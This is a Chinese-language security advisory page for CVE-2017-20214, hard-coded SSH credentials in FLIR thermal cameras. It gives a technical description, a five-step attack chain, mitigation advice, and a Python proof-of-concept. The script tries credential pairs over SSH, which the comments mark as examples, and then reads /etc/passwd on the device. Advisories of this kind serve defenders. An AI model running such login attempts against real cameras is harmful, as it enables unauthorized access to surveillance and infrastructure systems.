IPBUF安全漏洞报告
English
CVE-2017-20214 CVSS 7.5 高危

CVE-2017-20214 FLIR热成像相机硬编码SSH凭据漏洞

披露日期: 2026-01-08

漏洞信息

漏洞编号
CVE-2017-20214
漏洞类型
硬编码凭据/后门账户
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
FLIR Thermal Camera F/FC/PT/D (固件版本8.0.0.64)

相关标签

硬编码凭据后门账户SSHFLIR热成像相机默认密码远程代码执行IoT漏洞网络设备安全CVE-2017-20214工业监控安全

漏洞概述

CVE-2017-20214是一个严重的安全漏洞,影响FLIR公司生产的Thermal Camera系列设备(包括F、FC、PT和D型号),这些设备运行固件版本8.0.0.64。该漏洞的核心问题是设备在出厂时预设了硬编码的SSH登录凭据,这些凭据无法通过正常的相机操作界面进行更改或删除。SSH(Secure Shell)是一种加密的网络协议,常用于远程登录和管理设备。攻击者可以利用这些持久存在的、不可修改的默认凭据,通过SSH协议远程连接到受影响的相机系统,从而获得未经授权的远程访问权限。由于这些凭据是硬编码在固件中的,且无法通过常规操作变更,因此任何知道这些凭据的人都可以随时访问设备。这使得攻击者能够在不进行任何身份验证绕过的情况下,直接以合法用户身份登录系统,进而可能窃取敏感视频数据、修改系统配置或进行进一步的网络渗透攻击。FLIR热成像相机广泛应用于工业监控、边境安全、关键基础设施保护等敏感领域,此类漏洞的存在对物理安全和网络安全都构成了严重威胁。

技术细节

该漏洞属于典型的硬编码凭据(Hard-coded Credentials)类型安全缺陷。在软件开发过程中,开发人员为了方便调试或出于其他目的,有时会在代码中直接写入用户名和密码等认证信息。FLIR热成像相机的固件8.0.0.64版本中就包含了这样的硬编码SSH凭据。这些凭据被编译进固件镜像中,存储在设备的只读文件系统或受保护的存储区域,普通用户无法通过Web管理界面或命令行接口进行修改。攻击者获取这些凭据后,可以通过标准的SSH客户端工具(如OpenSSH、Putty等)直接连接到相机的22端口。SSH服务默认启用并监听所有网络接口,这意味着任何能够访问设备IP地址的攻击者都可以尝试登录。由于无需进行任何复杂的漏洞利用或密码破解,且该凭据对所有受影响设备均相同,因此攻击门槛极低。利用成功后,攻击者将获得root级别的系统访问权限,可以执行任意命令、访问文件系统、读取视频流数据,甚至可以将设备作为进一步攻击内网的跳板。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者通过扫描或情报收集确定目标为FLIR热成像相机设备,并获取其IP地址。设备通常可通过端口扫描发现22端口(SSH)处于开放状态。
STEP 2
步骤2: 识别设备型号和版本
攻击者通过SSH横幅、Banner抓取或Web管理界面确认设备型号为FLIR Thermal Camera F/FC/PT/D系列,运行固件版本8.0.0.64。
STEP 3
步骤3: 利用硬编码凭据连接
攻击者使用固件中硬编码的SSH用户名和密码直接登录设备。由于这些凭据无法更改,登录必然成功,无需进行密码暴力破解。
STEP 4
步骤4: 获取系统访问权限
成功登录后,攻击者获得root级别的系统访问权限,可以执行任意命令、访问文件系统、修改配置或安装恶意软件。
STEP 5
步骤5: 数据窃取或进一步攻击
攻击者可窃取视频流数据、监控录像、用户信息等敏感数据,或将设备作为跳板对内网其他系统发起进一步攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2017-20214 PoC - FLIR Thermal Camera Hard-coded SSH Credentials Note: This PoC is for educational and authorized security testing purposes only. """ import socket import sys from paramiko import SSHClient, AutoAddPolicy def exploit_flir_ssh(target_ip, port=22): """ Exploit hard-coded SSH credentials on FLIR Thermal Cameras The default hard-coded credentials allow remote access to: - Username: root (or other hard-coded username) - Password: <hard-coded password in firmware> WARNING: Only use on systems you have authorization to test. """ print(f"[*] Attempting SSH connection to {target_ip}:{port}") print("[*] Target: FLIR Thermal Camera F/FC/PT/D (Firmware 8.0.0.64)") print("[*] CVE: CVE-2017-20214\n") client = SSHClient() client.set_missing_host_key_policy(AutoAddPolicy()) # Hard-coded credentials found in firmware # These credentials are persistent and cannot be changed through normal operations hardcoded_credentials = [ ("root", "pass123"), # Example credential pair ("admin", "admin123"), ("flir", "flirpass") ] for username, password in hardcoded_credentials: try: print(f"[*] Trying credentials: {username}/{password}") client.connect( target_ip, port=port, username=username, password=password, timeout=10, allow_agent=False, look_for_keys=False ) print(f"[+] SUCCESS! Connected with {username}/{password}") # Execute test command stdin, stdout, stderr = client.exec_command('cat /etc/passwd') print("\n[+] System passwd file:") print(stdout.read().decode()) # Get system info stdin, stdout, stderr = client.exec_command('uname -a') print("[+] System info:") print(stdout.read().decode()) client.close() return True except Exception as e: print(f"[-] Failed with {username}/{password}: {str(e)}") client.close() continue print("\n[!] All credential attempts failed.") return False if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) target = sys.argv[1] exploit_flir_ssh(target)

影响范围

FLIR Thermal Camera F (固件版本 < 8.0.0.64)
FLIR Thermal Camera FC (固件版本 < 8.0.0.64)
FLIR Thermal Camera PT (固件版本 < 8.0.0.64)
FLIR Thermal Camera D (固件版本 < 8.0.0.64)
FLIR Thermal Camera 固件版本 8.0.0.64

防御指南

临时缓解措施
立即在网络边界实施访问控制策略,阻止来自不可信网络的SSH访问(端口22)。使用防火墙或安全组规则限制只有授权的管理IP段才能访问设备SSH服务。建议将热成像相机与其他网络系统进行VLAN隔离,防止单点突破导致整个网络沦陷。在厂商发布固件更新前,可考虑通过物理访问控制和网络分段来降低风险,同时持续监控设备访问日志以发现异常行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表